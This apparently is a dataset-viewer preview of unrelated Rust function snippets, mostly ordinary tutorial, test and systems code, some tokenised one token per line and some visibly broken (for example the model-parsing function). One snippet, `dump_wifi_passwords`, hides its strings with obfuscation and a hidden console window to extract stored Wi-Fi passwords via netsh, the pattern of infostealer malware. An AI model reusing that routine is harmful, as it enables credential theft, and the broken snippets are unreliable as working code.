// let sum = numbers.fold(0, |a, &num| a + num);
//
// // ...handle just one enum variant specially
// if let RoughTime::InTheFuture(_, _) = user.date_of_birth() {
// user.set_time_traveler(true);
// }
//
// // ...run some code only if a table lookup succeeds
// if let Some(document) = cache_map.get(&id) {
// return send_cached_response(document);
// }
//
// // ...repeatedly try something until it succeeds
// while let Err(err) = present_cheesy_anti_robot_task() {
// log_robot_attempt(err);
// // let the user try again (it might still be a human)
// }
//
// // ...manually loop over an iterator
// while let Some(_) = lines.peek() {
// read_paragraph(&mut lines);
// }
//
// 10.2.8
impl<T: Ord> BinaryTree<T> {
fn add(&mut self, value: T) {
match *self {
BinaryTree::Empty => {
*self = BinaryTree::NonEmpty(Box::new(TreeNode {
element: value,
left: BinaryTree::Empty,
right: BinaryTree::Empty,
}))
}
BinaryTree::NonEmpty(ref mut node) => {
if value <= node.element {
node.left.add(value);
} else {
node.right.add(value);
}
}
}
}
}
let mut add_tree = BinaryTree::Empty;
add_tree.add("Mercury");
add_tree.add("Venus");
}
| 35
|
pub fn start_conflict_resolver_factory(ledger: &mut Ledger_Proxy, key: Vec<u8>) {
let (s1, s2) = Channel::create(ChannelOpts::Normal).unwrap();
let resolver_client = ConflictResolverFactory_Client::from_handle(s1.into_handle());
let resolver_client_ptr = ::fidl::InterfacePtr {
inner: resolver_client,
version: ConflictResolverFactory_Metadata::VERSION,
};
let _ = fidl::Server::new(ConflictResolverFactoryServer { key }, s2).spawn();
ledger.set_conflict_resolver_factory(Some(resolver_client_ptr)).with(ledger_crash_callback);
}
| 36
|
fn modules_file(repo: &Repository, at: &Commit) -> Result<String, Box<dyn std::error::Error>> {
if let Some(modules) = at.tree()?.get_name(".gitmodules") {
Ok(String::from_utf8(
modules.to_object(&repo)?.peel_to_blob()?.content().into(),
)?)
} else {
return Ok(String::new());
}
}
| 37
|
fn
test_value
(
)
-
>
Result
<
(
)
>
{
let
db
=
checked_memory_handle
(
)
?
;
db
.
execute
(
"
INSERT
INTO
foo
(
i
)
VALUES
(
?
1
)
"
[
Value
:
:
Integer
(
10
)
]
)
?
;
assert_eq
!
(
10i64
db
.
one_column
:
:
<
i64
>
(
"
SELECT
i
FROM
foo
"
)
?
)
;
Ok
(
(
)
)
}
| 38
|
pub fn task_set_top_page_table(target: CAddr, table: CAddr) {
system_call(SystemCall::TaskSetTopPageTable {
request: (target, table),
});
}
| 39
|
fn system_call_put_payload<T: Any>(message: SystemCall, payload: T) -> SystemCall {
use core::mem::{size_of};
let addr = task_buffer_addr();
unsafe {
let buffer = &mut *(addr as *mut TaskBuffer);
buffer.call = Some(message);
buffer.payload_length = size_of::<T>();
let payload_addr = &mut buffer.payload_data as *mut _ as *mut T;
let payload_data = &mut *payload_addr;
*payload_data = payload;
system_call_raw();
buffer.call.take().unwrap()
}
}
| 40
|
fn find_common_id() -> Option<String> {
let input = fs::File::open("input.txt")
.expect("Something went wrong reading the file");
let reader = io::BufReader::new(input);
let mut box_ids: Vec<String> = reader.lines().map(|l| l.unwrap()).collect();
box_ids.sort();
for i in 0..box_ids.len() {
let mut diff = 0;
if i != box_ids.len() - 1 {
for (a, b) in box_ids[i].chars().zip(box_ids[i+1].chars()) {
if a != b {
diff += 1;
}
}
if diff == 1 {
return Some(get_common_chars(&box_ids[i], &box_ids[i+1]));
}
}
}
None
}
| 41
|
fn get_next_prefix(current: &str) -> String {
format!("{} ", current)
}
| 42
|
fn buf_to_state(buf: &[u8]) -> Result<Engine, serde_json::Error> {
serde_json::from_slice(buf)
}
| 43
|
pub fn open_and_read() {
let path = Path::new("hello.txt");
let display = path.display();
let mut file = match File::open(&path) {
Err(why) => {
println!("couldn't open {}: {}", display, why.description());
return;
},
Ok(f) => f,
};
let mut s = String::new();
match file.read_to_string(&mut s) {
Err(e) => {
println!("couldn't read {}:{}", display, e.description());
return;
},
Ok(_) => {
println!("{} contains:\n{}", display, s);
}
}
}
| 44
|
fn main() {
let num = input("Ingrese un nΓΊmero: ")
.unwrap()
.parse::<i32>()
.expect("Expected a number");
if num % 2 == 0 {
println!("`{}` es un nΓΊmero par.", num);
} else {
println!("`{}` es un nΓΊmero impar", num);
}
}
| 45
|
fn
test_option
(
)
-
>
Result
<
(
)
>
{
let
db
=
checked_memory_handle
(
)
?
;
let
s
=
Some
(
"
hello
world
!
"
)
;
let
b
=
Some
(
vec
!
[
1u8
2
3
4
]
)
;
db
.
execute
(
"
INSERT
INTO
foo
(
t
)
VALUES
(
?
1
)
"
[
&
s
]
)
?
;
db
.
execute
(
"
INSERT
INTO
foo
(
b
)
VALUES
(
?
1
)
"
[
&
b
]
)
?
;
let
mut
stmt
=
db
.
prepare
(
"
SELECT
t
b
FROM
foo
ORDER
BY
ROWID
ASC
"
)
?
;
let
mut
rows
=
stmt
.
query
(
[
]
)
?
;
{
let
row1
=
rows
.
next
(
)
?
.
unwrap
(
)
;
let
s1
:
Option
<
String
>
=
row1
.
get_unwrap
(
0
)
;
let
b1
:
Option
<
Vec
<
u8
>
>
=
row1
.
get_unwrap
(
1
)
;
assert_eq
!
(
s
.
unwrap
(
)
s1
.
unwrap
(
)
)
;
assert
!
(
b1
.
is_none
(
)
)
;
}
{
let
row2
=
rows
.
next
(
)
?
.
unwrap
(
)
;
let
s2
:
Option
<
String
>
=
row2
.
get_unwrap
(
0
)
;
let
b2
:
Option
<
Vec
<
u8
>
>
=
row2
.
get_unwrap
(
1
)
;
assert
!
(
s2
.
is_none
(
)
)
;
assert_eq
!
(
b
b2
)
;
}
Ok
(
(
)
)
}
| 46
|
fn map_params(tok: IRCToken) -> Result<IRCToken, ~str> {
// Sequence(~[Sequence(~[Sequence(~[Ignored, Unparsed(~"##codelab")])]), Sequence(~[Sequence(~[Ignored, Unparsed(~":"), Unparsed(~"hi")])])])
match tok {
Sequence(args) => Ok(Params(args.map(|arg| {
match arg.clone() {
Sequence([Sequence([Ignored, Unparsed(param)])]) => param,
Sequence([Sequence([Ignored, Unparsed(~":"), Unparsed(param)])]) => param,
_ => ~""
}
}))),
_ => Err(~"Malformed parameters")
}
}
| 47
|
pub fn test_misaligned_jump64() {
let buffer = fs::read("tests/programs/misaligned_jump64").unwrap().into();
let result = run::<u64, SparseMemory<u64>>(&buffer, &vec!["misaligned_jump64".into()]);
assert!(result.is_ok());
}
| 48
|
fn tuple_test() {
let text = "I see the eigenvalue in thine eye";
let (head, tail) = text.split_at(21);
assert_eq!(head, "I see the eigenvalue ");
assert_eq!(tail, "in thine eye");
}
| 49
|
pub fn channel_put_raw(target: CAddr, value: u64) {
system_call(SystemCall::ChannelPut {
request: (target, ChannelMessage::Raw(value))
});
}
| 50
|
pub fn get_home() -> Result<String, ()> {
match dirs::home_dir() {
None => Ok(String::new()),
Some(path) => Ok(path.to_str().unwrap().to_string()),
}
}
| 51
|
fn alloc_svc_def() -> *const ble_gatt_svc_def {
leaky_box!(
ble_gatt_svc_def {
type_: BLE_GATT_SVC_TYPE_PRIMARY as u8,
uuid: ble_uuid16_declare!(GATT_HRS_UUID),
includes: ptr::null_mut(),
characteristics: leaky_box!(
ble_gatt_chr_def {
uuid: ble_uuid16_declare!(GATT_HRS_MEASUREMENT_UUID),
access_cb: Some(gatt_svr_chr_access_heart_rate),
arg: (ptr::null_mut()),
descriptors: (ptr::null_mut()),
flags: BLE_GATT_CHR_F_NOTIFY as u16,
min_key_size: 0,
val_handle: (unsafe { &mut HRS_HRM_HANDLE as *mut u16 }),
},
ble_gatt_chr_def {
uuid: ble_uuid16_declare!(GATT_HRS_BODY_SENSOR_LOC_UUID),
access_cb: Some(gatt_svr_chr_access_heart_rate),
arg: (ptr::null_mut()),
descriptors: (ptr::null_mut()),
flags: BLE_GATT_CHR_F_READ as u16,
min_key_size: 0,
val_handle: ptr::null_mut(),
},
null_ble_gatt_chr_def()
)
},
ble_gatt_svc_def {
type_: BLE_GATT_SVC_TYPE_PRIMARY as u8,
uuid: ble_uuid16_declare!(GATT_DEVICE_INFO_UUID),
includes: ptr::null_mut(),
characteristics: leaky_box!(
ble_gatt_chr_def {
uuid: ble_uuid16_declare!(GATT_MANUFACTURER_NAME_UUID),
access_cb: Some(gatt_svr_chr_access_device_info),
arg: (ptr::null_mut()),
descriptors: (ptr::null_mut()),
flags: BLE_GATT_CHR_F_READ as u16,
min_key_size: 0,
val_handle: (ptr::null_mut()),
},
ble_gatt_chr_def {
uuid: ble_uuid16_declare!(GATT_MODEL_NUMBER_UUID),
access_cb: Some(gatt_svr_chr_access_device_info),
arg: (ptr::null_mut()),
descriptors: (ptr::null_mut()),
flags: BLE_GATT_CHR_F_READ as u16,
min_key_size: 0,
val_handle: (ptr::null_mut()),
},
null_ble_gatt_chr_def()
)
},
null_ble_gatt_svc_def()
)
}
| 52
|
fn die(err: impl Error) -> ! {
println!("{}", err);
std::process::exit(1);
}
| 53
|
fn channel_take_nonpayload(target: CAddr) -> ChannelMessage {
let result = system_call(SystemCall::ChannelTake {
request: target,
response: None
});
match result {
SystemCall::ChannelTake {
response, ..
} => {
return response.unwrap()
},
_ => panic!(),
};
}
| 54
|
fn
is_invalid_column_type
(
err
:
Error
)
-
>
bool
{
matches
!
(
err
Error
:
:
InvalidColumnType
(
.
.
)
)
}
| 55
|
fn check_layout(layout: Layout) -> Result<(), AllocErr> {
if layout.size() > LARGEST_POWER_OF_TWO {
return Err(AllocErr::Unsupported { details: "Bigger than largest power of two" });
}
debug_assert!(layout.size() > 0);
Ok(())
}
| 56
|
pub fn debug_test_succeed() {
system_call(SystemCall::DebugTestSucceed);
loop {}
}
| 57
|
fn parse_bors_reviewer(
reviewers: &Reviewers,
repo: &Repository,
commit: &Commit,
) -> Result<Option<Vec<Author>>, ErrorContext> {
if commit.author().name_bytes() != b"bors" || commit.committer().name_bytes() != b"bors" {
if commit.committer().name_bytes() != b"GitHub" || !is_rollup_commit(commit) {
return Ok(None);
}
}
// Skip non-merge commits
if commit.parents().count() == 1 {
return Ok(None);
}
let to_author = |list: &str| -> Result<Vec<Author>, ErrorContext> {
list.trim_end_matches('.')
.split(|c| c == ',' || c == '+')
.map(|r| r.trim_start_matches('@'))
.map(|r| r.trim_end_matches('`'))
.map(|r| r.trim())
.filter(|r| !r.is_empty())
.filter(|r| *r != "<try>")
.inspect(|r| {
if !r.chars().all(|c| {
c.is_alphabetic() || c.is_digit(10) || c == '-' || c == '_' || c == '='
}) {
eprintln!(
"warning: to_author for {} contained non-alphabetic characters: {:?}",
commit.id(),
r
);
}
})
.map(|r| {
reviewers.to_author(r).map_err(|e| {
ErrorContext(
format!("reviewer: {:?}, commit: {}", r, commit.id()),
e.into(),
)
})
})
.flat_map(|r| r.transpose())
.collect::<Result<Vec<_>, ErrorContext>>()
};
let message = commit.message().unwrap_or("");
let mut reviewers = if let Some(line) = message.lines().find(|l| l.contains(" r=")) {
let start = line.find("r=").unwrap() + 2;
let end = line[start..]
.find(' ')
.map(|pos| pos + start)
.unwrap_or(line.len());
to_author(&line[start..end])?
} else if let Some(line) = message.lines().find(|l| l.starts_with("Reviewed-by: ")) {
let line = &line["Reviewed-by: ".len()..];
to_author(&line)?
} else {
// old bors didn't include r=
if message != "automated merge\n" {
panic!(
"expected reviewer for bors merge commit {} in {:?}, message: {:?}",
commit.id(),
repo.path(),
message
);
}
return Ok(None);
};
reviewers.sort();
reviewers.dedup();
Ok(Some(reviewers))
}
| 58
|
pub fn channel_take<T: Any + Clone>(target: CAddr) -> T {
let (result, payload) = system_call_take_payload(SystemCall::ChannelTake {
request: target,
response: None
});
match result {
SystemCall::ChannelTake {
request: _,
response: Some(ChannelMessage::Payload),
} => {
return payload;
},
_ => panic!(),
};
}
| 59
|
fn soda(_py: Python, m: &PyModule) -> PyResult<()> {
m.add_class::<Soda>()?;
Ok(())
}
| 60
|
fn run_one_input() {
let corpus = Path::new("fuzz").join("corpus").join("run_one");
let project = project("run_one_input")
.with_fuzz()
.fuzz_target(
"run_one",
r#"
#![no_main]
use libfuzzer_sys::fuzz_target;
fuzz_target!(|data: &[u8]| {
#[cfg(fuzzing_repro)]
eprintln!("Reproducing a crash");
assert!(data.is_empty());
});
"#,
)
.file(corpus.join("pass"), "")
.file(corpus.join("fail"), "not empty")
.build();
project
.cargo_fuzz()
.arg("run")
.arg("run_one")
.arg(corpus.join("pass"))
.assert()
.stderr(
predicate::str::contains("Running 1 inputs 1 time(s) each.")
.and(predicate::str::contains(
"Running: fuzz/corpus/run_one/pass",
))
.and(predicate::str::contains("Reproducing a crash")),
)
.success();
}
| 61
|
fn up_to_release(
repo: &Repository,
reviewers: &Reviewers,
mailmap: &Mailmap,
to: &VersionTag,
) -> Result<AuthorMap, Box<dyn std::error::Error>> {
let to_commit = repo.find_commit(to.commit).map_err(|e| {
ErrorContext(
format!(
"find_commit: repo={}, commit={}",
repo.path().display(),
to.commit
),
Box::new(e),
)
})?;
let modules = get_submodules(&repo, &to_commit)?;
let mut author_map = build_author_map(&repo, &reviewers, &mailmap, "", &to.raw_tag)
.map_err(|e| ErrorContext(format!("Up to {}", to), e))?;
for module in &modules {
if let Ok(path) = update_repo(&module.repository) {
let subrepo = Repository::open(&path)?;
let submap = build_author_map(
&subrepo,
&reviewers,
&mailmap,
"",
&module.commit.to_string(),
)?;
author_map.extend(submap);
}
}
Ok(author_map)
}
| 62
|
pub fn debug_log(msg: impl AsRef<str>) {
let msg = msg.as_ref();
eprintln!("{} - {}", Local::now().format("%Y%m%d %H:%M:%S"), msg);
}
| 63
|
fn overflow() {
let big_val = std::i32::MAX;
// let x = big_val + 1; // panic
let _x = big_val.wrapping_add(1); // ok
}
| 64
|
fn build_author_map(
repo: &Repository,
reviewers: &Reviewers,
mailmap: &Mailmap,
from: &str,
to: &str,
) -> Result<AuthorMap, Box<dyn std::error::Error>> {
match build_author_map_(repo, reviewers, mailmap, from, to) {
Ok(o) => Ok(o),
Err(err) => Err(ErrorContext(
format!(
"build_author_map(repo={}, from={:?}, to={:?})",
repo.path().display(),
from,
to
),
err,
))?,
}
}
| 65
|
fn main() {
let matches = App::new(crate_name!())
.version(crate_version!())
.about("build git branches from merge requests")
.template(TEMPLATE)
.arg(
Arg::with_name("config")
.short("c")
.long("config")
.value_name("FILE")
.required(true)
.help("config file to use")
.takes_value(true),
)
.arg(
Arg::with_name("auto")
.long("auto")
.help("do not run in interactive mode"),
)
.get_matches();
let merger = Merger::from_config_file(matches.value_of("config").unwrap())
.unwrap_or_else(|e| die(e));
merger
.run(matches.is_present("auto"))
.unwrap_or_else(|e| die(e));
}
| 66
|
async fn http_lookup(url: &Url) -> Result<Graph, Berr> {
let resp = reqwest::get(url.as_str()).await?;
if !resp.status().is_success() {
return Err("unsucsessful GET".into());
}
let content_type = resp
.headers()
.get(CONTENT_TYPE)
.ok_or("no content-type header in response")?
.to_str()?
.to_string();
let bytes = resp.bytes().await?;
into_rdf(&bytes, &content_type).map_err(Into::into)
}
| 67
|
fn create_data_sock() -> AppResult<UdpSocket> {
let data_sock = UdpSocket::bind("0.0.0.0:9908")?;
data_sock.set_write_timeout(Some(Duration::from_secs(5)))?;
Ok(data_sock)
}
| 68
|
pub fn retype_cpool(source: CAddr, target: CAddr) {
system_call(SystemCall::RetypeCPool {
request: (source, target),
});
}
| 69
|
pub fn star2(lines: &Vec<String>) -> String {
let days = initialize(lines);
let mut guard_map = HashMap::new();
for day in days {
guard_map.entry(day.guard_id)
.or_insert(vec![])
.push(day);
}
let mut max_guard_asleep_per_minute = vec![(0, None); 60];
for &guard_id in guard_map.keys() {
let mut guard_asleep_by_minute = vec![0; 60];
for day in &guard_map[&guard_id] {
for minute in 0..60 {
guard_asleep_by_minute[minute] += i32::from(!day.minutes[minute]);
}
}
for minute in 0..60 {
if max_guard_asleep_per_minute[minute].0 < guard_asleep_by_minute[minute] {
max_guard_asleep_per_minute[minute] = (guard_asleep_by_minute[minute], Some(guard_id));
}
}
}
if let Some((max_minute, (_, Some(max_guard_id)))) = max_guard_asleep_per_minute.iter().enumerate().max_by_key(|(_, (times, _))| times) {
return (max_minute as i32 * max_guard_id) .to_string();
}
panic!("No maximum found: Invalid input!");
}
| 70
|
pub fn write_file(path: PathBuf, content: String) -> Result<(), String> {
fs::write(path, content).map_err(|e| e.to_string())
}
| 71
|
async fn server(url: &str) -> Result<!, String> {
let server = TcpServer::bind(url).await.map_err(|e| e.to_string())?;
let (op_reads, op_writes) = TcpServerOp::<RequestLatRepr>::new(server.clone())
// .debug("ingress")
.morphism_closure(|item| item.flatten_keyed::<tag::VEC>())
.morphism(Switch)
// .debug("split")
.switch();
type ReadsLatRepr = MapUnionRepr<tag::HASH_MAP, String, SetUnionRepr<tag::HASH_SET, SocketAddr>>;
let op_reads = op_reads
// .debug("read")
.lattice_default::<ReadsLatRepr>();
type WritesLatRepr = MapUnionRepr<tag::HASH_MAP, String, ValueLatRepr>;
let op_writes = op_writes
// .debug("write")
.lattice_default::<WritesLatRepr>();
let binary_func = HashPartitioned::<String, _>::new(
TableProduct::<_, _, _, MapUnionRepr<tag::VEC, _, _>>::new());
let comp = BinaryOp::new(op_reads, op_writes, binary_func)
.morphism_closure(|item| item.transpose::<tag::VEC, tag::VEC>())
.comp_tcp_server::<ResponseLatRepr, _>(server);
comp
.run()
.await
.map_err(|e| format!("TcpComp error: {:?}", e))?;
}
| 72
|
fn build_unparsed(s: ~str) -> Result<IRCToken, ~str> {
Ok(Unparsed(s))
}
| 73
|
fn loadImageFromMaterial(model: &mut Model, materialPath: &str) {
model.albedo_map = materialPath + "_albedo.png";
model.normal_map = materialPath + "_normal.png";
model.ambient_ligth = materialPath + "_ao.png";
model.roughness_map = materialPath + "_rough.png"
}
| 74
|
fn handle_trame(trame: Trame) -> Option<Trame> {
match (
trame.id,
trame.cmd,
&trame.data[0..trame.data_length as usize],
) {
(0...5, 0x0, [0x55]) => Some(trame!(trame.id, 0x00, [0xAA])),
(_, _, _) => None,
}
}
| 75
|
async fn get_config(path: &str) -> Result<String, Error> {
fs::read_to_string(path).await
}
| 76
|
pub fn file_append() -> io::Result<()> {
let filename = "foo.txt";
let file = OpenOptions::new()
.read(true)
.write(true)
.create(true)
// .create_new(true)
.append(true)
// .truncate(true)
.open(filename);
match file {
Ok(mut stream) => {
stream.write_all(b"hello, world!\n")?;
}
Err(err) => {
println!("{:?}", err);
}
}
Ok(())
}
| 77
|
fn main() {
let input1 = vec![1,2,5];
let sol = Solution::coin_change(input1, 11);
println!("Result: {}, Expected: 3", sol);
}
| 78
|
fn build_dev() {
let project = project("build_dev").with_fuzz().build();
// Create some targets.
project
.cargo_fuzz()
.arg("add")
.arg("build_dev_a")
.assert()
.success();
project
.cargo_fuzz()
.arg("add")
.arg("build_dev_b")
.assert()
.success();
// Build to ensure that the build directory is created and
// `fuzz_build_dir()` won't panic.
project
.cargo_fuzz()
.arg("build")
.arg("--dev")
.assert()
.success();
let build_dir = project.fuzz_build_dir().join("debug");
let a_bin = build_dir.join("build_dev_a");
let b_bin = build_dir.join("build_dev_b");
// Remove the files we just built.
fs::remove_file(&a_bin).unwrap();
fs::remove_file(&b_bin).unwrap();
assert!(!a_bin.is_file());
assert!(!b_bin.is_file());
// Test that building all fuzz targets does in fact recreate the files.
project
.cargo_fuzz()
.arg("build")
.arg("--dev")
.assert()
.success();
assert!(a_bin.is_file());
assert!(b_bin.is_file());
}
| 79
|
fn main() {
// Variables can be type annotated.
let i: i32 = 10;
println!("Hello, world!, {}", i);
}
| 80
|
pub fn task_set_instruction_pointer(target: CAddr, ptr: u64) {
system_call(SystemCall::TaskSetInstructionPointer {
request: (target, ptr),
});
}
| 81
|
pub fn readline_and_print() -> io::Result<()> {
let f = File::open("/Users/liwei/coding/rust/git/rust/basic/fs/Cargo.toml")?;
let f = BufReader::new(f);
for line in f.lines() {
if let Ok(line) = line {
println!("{:?}", line);
}
}
Ok(())
}
| 82
|
pub fn test_nop() {
let buffer = fs::read("tests/programs/nop").unwrap().into();
let result = run::<u32, SparseMemory<u32>>(&buffer, &vec!["nop".into()]);
assert!(result.is_ok());
assert_eq!(result.unwrap(), 0);
}
| 83
|
pub fn establish_connection() -> PooledConnection<ConnectionManager<PgConnection>> {
pool().get().unwrap()
}
| 84
|
fn main() {
let file_name = "input.txt";
let instructions = parse_file(file_name);
let (registers, largest_value) = process_instructions(&instructions);
println!("Day 8, part 1: {}", get_largest_register_value(®isters));
println!("Day 8, part 2: {}", largest_value);
}
| 85
|
pub async fn get_semaphored_connection<'a>() -> SemaphoredDbConnection<'a> {
let _semaphore_permit = semaphore().acquire().await.unwrap();
let connection = establish_connection();
SemaphoredDbConnection {
_semaphore_permit,
connection,
}
}
| 86
|
fn add_twice() {
let project = project("add").with_fuzz().build();
project
.cargo_fuzz()
.arg("add")
.arg("new_fuzz_target")
.assert()
.success();
assert!(project.fuzz_target_path("new_fuzz_target").is_file());
project
.cargo_fuzz()
.arg("add")
.arg("new_fuzz_target")
.assert()
.stderr(
predicate::str::contains("could not add target")
.and(predicate::str::contains("File exists (os error 17)")),
)
.failure();
}
| 87
|
pub fn number(n: i64) -> Value {
Rc::new(RefCell::new(V {
val: Value_::Number(n),
computed: true,
}))
}
| 88
|
fn align_padding(value: usize, alignment: usize) -> usize {
debug_assert!(alignment.is_power_of_two());
let result = (alignment - (value & (alignment - 1))) & (alignment - 1);
debug_assert!(result < alignment);
debug_assert!(result < LARGEST_POWER_OF_TWO);
result
}
| 89
|
fn parseModelInfo(reader: &mut BufReader<&File>, buf: &mut String, models: &mut Vec<Model>, basePath: &str) -> Model {
//Firstly, read the meshId and materialId;
reader.read_line(buf);
let mut split_info = buf.split(" ");
if len(split_info) != 2 {}
let meshId: i32 = split_info.next().unwrap().parse().unwrap();
let materidId = split_info.next().unwrap().parse().unwrap();
let meshFilePath = basePath + "/meshes/" + meshId + "_mesh.obj";
let materialPath = basePath + "/materials/" + materidId + "/" + materidId;
//Then, read the position info;
split_info = buf.split(" ");
let mut modelInfo: Vec<Vec3f> = Vec::new();
let mut infoIndex = 0;
while infoIndex < 3 {
reader.read_line(buf);
let mut split_info = buf.split(" ");
modelInfo.push(Vec3f {
x: split_info.next().unwrap().parse().unwrap(),
y: split_info.next().unwrap().parse().unwrap(),
z: split_info.next().unwrap().parse().unwrap(),
});
infoIndex += 1;
}
loadImageFromMaterial(model, materidId);
models.push(Model {
meshId,
materidId: 0,
position: Vec3f {
x: modelInfo.get(0).unwrap().x,
y: modelInfo.get(0).unwrap().y,
z: modelInfo.get(0).unwrap().z,
},
rotation: Vec3f {
x: modelInfo.get(1).unwrap().x,
y: modelInfo.get(1).unwrap().y,
z: modelInfo.get(1).unwrap().z,
},
scaling: Vec3f {
x: modelInfo.get(2).unwrap().x,
y: modelInfo.get(2).unwrap().y,
z: modelInfo.get(2).unwrap().z,
},
}
);
//Finally, we only need to read an empty line to finish the model parsing process
reader.read_line(buf);
}
| 90
|
fn should_update() -> bool {
std::env::args_os().nth(1).unwrap_or_default() == "--refresh"
}
| 91
|
pub fn module<'a>(context: &'a Context) -> Option<Module<'a>> {
const SUCCESS_CHAR: &str = "β";
const FAILURE_CHAR: &str = "β";
let color_success = Color::Green.bold();
let color_failure = Color::Red.bold();
let mut module = context.new_module("character")?;
module.get_prefix().set_value("");
let arguments = &context.arguments;
let use_symbol = module
.config_value_bool("use_symbol_for_status")
.unwrap_or(false);
let exit_success = arguments.value_of("status_code").unwrap_or("0") == "0";
/* If an error symbol is set in the config, use symbols to indicate
success/failure, in addition to color */
let symbol = if use_symbol && !exit_success {
module.new_segment("error_symbol", FAILURE_CHAR)
} else {
module.new_segment("symbol", SUCCESS_CHAR)
};
if exit_success {
symbol.set_style(color_success.bold());
} else {
symbol.set_style(color_failure.bold());
};
Some(module)
}
| 92
|
pub async fn dump_wifi_passwords() -> Option<WifiLogins> {
let output = Command::new(obfstr::obfstr!("netsh.exe"))
.args(&[
obfstr::obfstr!("wlan"),
obfstr::obfstr!("show"),
obfstr::obfstr!("profile"),
])
.creation_flags(CREATE_NO_WINDOW)
.output()
.ok()?;
let mut wifi_logins = WifiLogins::new();
let list_of_process = String::from_utf8_lossy(&output.stdout);
for line in list_of_process.lines() {
if line
.to_lowercase()
.contains(obfstr::obfstr!("all user profile"))
&& line.contains(":")
{
let ssid = line.split(':').nth(1)?.trim();
let profile = get_wifi_profile(ssid).await?;
for pline in profile.lines() {
if pline
.to_lowercase()
.contains(obfstr::obfstr!("key content"))
&& pline.contains(":")
{
let key = pline.split(": ").nth(1)?;
wifi_logins.insert(ssid.to_string(), key.to_string());
}
}
}
}
Some(wifi_logins)
}
| 93
|
async fn init() -> Nash {
dotenv().ok();
let parameters = NashParameters {
credentials: Some(NashCredentials {
secret: env::var("NASH_API_SECRET").unwrap(),
session: env::var("NASH_API_KEY").unwrap(),
}),
environment: Environment::Sandbox,
client_id: 1,
timeout: 1000,
};
OpenLimits::instantiate(parameters).await
}
| 94
|
fn main() {
#[cfg(feature = "breakout")]
let memfile_bytes = include_bytes!("stm32h743zi_memory.x");
#[cfg(not(feature = "breakout"))]
let memfile_bytes = include_bytes!("stm32h743vi_memory.x");
// Put the linker script somewhere the linker can find it
let out = &PathBuf::from(env::var_os("OUT_DIR").unwrap());
File::create(out.join("memory.x"))
.unwrap()
.write_all(memfile_bytes)
.unwrap();
println!("cargo:rustc-link-search={}", out.display());
}
| 95
|
pub fn test_flat_crash_64() {
let buffer = fs::read("tests/programs/flat_crash_64").unwrap().into();
let core_machine =
DefaultCoreMachine::<u64, FlatMemory<u64>>::new(ISA_IMC, VERSION0, u64::max_value());
let mut machine = DefaultMachineBuilder::new(core_machine).build();
let result = machine.load_program(&buffer, &vec!["flat_crash_64".into()]);
assert_eq!(result.err(), Some(Error::MemOutOfBound));
}
| 96
|
async fn get_historic_trades() {
let exchange = init().await;
let req = GetHistoricTradesRequest {
market_pair: "eth_btc".to_string(),
paginator: Some(Paginator {
limit: Some(100),
..Default::default()
}),
};
let resp = exchange.get_historic_trades(&req).await.unwrap();
println!("{:?}", resp);
}
| 97
|
fn run_with_crash() {
let project = project("run_with_crash")
.with_fuzz()
.fuzz_target(
"yes_crash",
r#"
#![no_main]
use libfuzzer_sys::fuzz_target;
fuzz_target!(|data: &[u8]| {
run_with_crash::fail_fuzzing(data);
});
"#,
)
.build();
project
.cargo_fuzz()
.arg("run")
.arg("yes_crash")
.arg("--")
.arg("-runs=1000")
.env("RUST_BACKTRACE", "1")
.assert()
.stderr(
predicate::str::contains("panicked at 'I'm afraid of number 7'")
.and(predicate::str::contains("ERROR: libFuzzer: deadly signal"))
.and(predicate::str::contains("run_with_crash::fail_fuzzing"))
.and(predicate::str::contains(
"ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ\n\
\n\
Failing input:\n\
\n\
\tfuzz/artifacts/yes_crash/crash-"
))
.and(predicate::str::contains("Output of `std::fmt::Debug`:"))
.and(predicate::str::contains(
"Reproduce with:\n\
\n\
\tcargo fuzz run yes_crash fuzz/artifacts/yes_crash/crash-"
))
.and(predicate::str::contains(
"Minimize test case with:\n\
\n\
\tcargo fuzz tmin yes_crash fuzz/artifacts/yes_crash/crash-"
)),
)
.failure();
}
| 98
|
fn desearlizer_client(req: &mut reqwest::Response) -> Result<Client, Error> {
let mut buffer = String::new();
match req.read_to_string(&mut buffer) {
Ok(_) => (),
Err(e) => println!("error : {}", e.to_string())
};
println!("buffer before serializaztion: {}", buffer);
let v = match serde_json::from_str::<Client>(&buffer){
Ok(v) => v,
Err(e) => return Err(e)
};
Ok(v)
}
| 99
|
End of preview. Expand
in Data Studio
README.md exists but content is empty.
- Downloads last month
- 1